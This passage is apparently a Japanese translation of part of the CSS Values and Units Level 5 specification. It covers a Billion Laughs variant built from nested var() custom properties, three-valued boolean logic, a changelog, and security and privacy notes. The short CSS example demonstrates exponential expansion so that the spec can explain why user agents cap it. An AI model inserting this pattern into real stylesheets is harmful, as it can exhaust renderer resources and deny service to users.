素朴な実装だと、 一部の任意置換関数(たとえば var() など)は 「ビリオンラフ攻撃(Billion Laughs Attack)」のバリエーションに使われることがあります:
.foo {
--prop1 : lol;
--prop2 : var ( --prop1) var ( --prop1);
--prop3 : var ( --prop2) var ( --prop2);
--prop4 : var ( --prop3) var ( --prop3);
/* など */
}
この短い例では、--prop4 の計算値は lol lol lol lol lol lol lol lol となり、 元の lol が8回繰り返されます。 レベルを増やすごとに識別子数は倍増します。 これを30レベル程度まで手作業で拡張すると --prop30 はほぼ10億個もの識別子を含むことになります。
こうした攻撃を防ぐために、 UAは任意置換関数が展開して得るトークンストリームの長さに UA定義の上限を課さなければなりません。 任意置換関数 の展開がこの制限を超える場合は、 代わりに保証無効値に置換します。
本仕様は制限値の大きさ自体は規定しません。 ただしカスタムプロパティに1キロバイト以上のテキストを入れる妥当な用途もありうるため、 制限は相応に高く設定されるべきです。
注: UAはリソース制約のために標準違反が許されるという一般原則はここでも有効です。 UAによってはカスタムプロパティ長や識別子長に別途上限を設ける場合もあります。 ここでこの攻撃に個別に言及しているのは、 歴史の長さと、見た目上個々の値は小さいにも関わらず攻撃できてしまうからです。
付録B: ブール論理
CSSの将来的な拡張に対応するため、<boolean-expr[]> 生成規則は 多くの場合 <general-enclosed> 文法分岐を未知扱いし、 ブール論理は3値クリーン論理で解決されます。 (@supports など)場合によっては <general-enclosed> を「偽」とみなす定義もあります。 その場合従来通りのブール代数になります。
3値ブール論理は再帰的に以下のように評価されます:
-
葉レベルの test の値は true / false / unknown(未知)のいずれかで、 どの値かは該当仕様により決まります。
-
not test は test が false なら true、 true なら false、 unknown なら unknown となります。
-
and で複数 test を連結した場合、 すべてが true なら true、 一つでも false なら false、 それ以外(少なくとも一つは unknown だがfalseはない)なら unknown。
-
or で複数 test を連結した場合、 一つでも true なら true、 すべて false なら false、 それ以外(少なくとも一つは unknown だがtrueはない)なら unknown。
「トップレベル」の <boolean-expr[]> が unknown で 外側文脈で未知扱いの定義がなければ、 false(偽)として評価されます。
注: つまり unknown は明示的な処理がなければ3値ブール式から「脱出」しません。
これは NaN がトップレベル計算で「脱出」しないのと同様です。
謝辞
まず編集者一同、 このモジュールの 前レベル 貢献者すべてに感謝します。
さらに Guillaume Lebas氏、 L. David Baron氏、 Mike Bremford氏、 Sebastian Zartner氏、 そして 特に Scott Kellum 氏 に Level 5 へのアイデア・コメント・意見を感謝します。
変更履歴
2024年9月17日 ワーキングドラフト 以降の変更:
-
セミコロン許容の「カンマアップグレード」を「中括弧によるカンマラッピング」に変更。 (Issue 9539)
-
if() を追加。 (Issue 10064, Issue 5009)
-
inherit() を追加。 (Issue 2864)
-
attr() を改訂。 (Issue 10437, Issue 5092, Issue 5136)
-
*progress() 関数群の引数区切りを一貫性のためカンマ使用(*mix(), clamp() と合わせ)。 (Issue 10489)
-
<boolean-expr[]> 多重記法を 値定義構文に追加。 (Issue 10457)
-
任意置換関数定義を [CSS-VARIABLES-1] よりインポート。 (Issue 10679)
-
<syntax> 生成規則を [css-properties-values-api-1] からインポート(attr() 用)。
-
media-progress()、 container-progress() 構文エラー修正。
初版ワーキングドラフト 以降の変更:
-
<position> 定義を拡充し、 flow-relative 位置に対応。 (Issue 549)
Level 4以降の追加
CSS Values and Units Level 4 以降の追加:
-
関数引数の「カンマラッピング」{} 記法を追加。
-
<url-modifier> を複数定義し、<url> 関数で利用可能に。
-
<position> を flow-relative 位置対応に拡張。 (Issue 549)
-
*-progress() 関数ファミリー追加(2値間の進捗表現用)。
-
*-mix() 関数ファミリー追加(2値間の実際の補間用)。
-
first-valid() 追加。 これはCSSの順応パース(無効→破棄で残り活用)を カスタムプロパティ等パース後まで有効性未確定な文脈でも使えるようにする関数です。
-
インライン条件記述用 if() 追加。
-
inherit() 追加。
-
random()・random-item() 関数を追加。
-
sibling-count()・sibling-index() 関数を追加。
-
calc-size() 関数と関連プロパティ interpolate-size を追加。
-
<boolean-expr[]> 構文記法を 値定義構文 に追加。
セキュリティ考慮事項
本仕様ではCSS <url>値 で
リクエスト内容のさまざまな操作が可能です。
CSSでは新しい仕様ですが、
すでに img
や link
、さらにJavaScriptでも同様の制御ができます。
attr() 関数では HTML属性値をCSS値に利用できるため、 以前はCSS経由で取得できなかった機微情報が露出する場合があります。 詳細は§ 7.7.2 セキュリティを参照してください。
プライバシーへの配慮
本仕様で定義される単位の中には、ユーザーの画面サイズやデフォルトフォントサイズなど の情報を直接参照するものがありますが、 いずれもJSで簡単に取得できるため新たなリスクではありません。 同様に media-progress() 記法では ユーザー環境や好みに関する情報を表現できますが、 これはすでにメディアクエリ からも取得可能です。
attr() 関数では HTML属性値をCSS値として使えるため、 以前はCSSでアクセスできなかった情報の露出リスクが生じます。 詳細は§ 7.7.2 セキュリティを参照してください。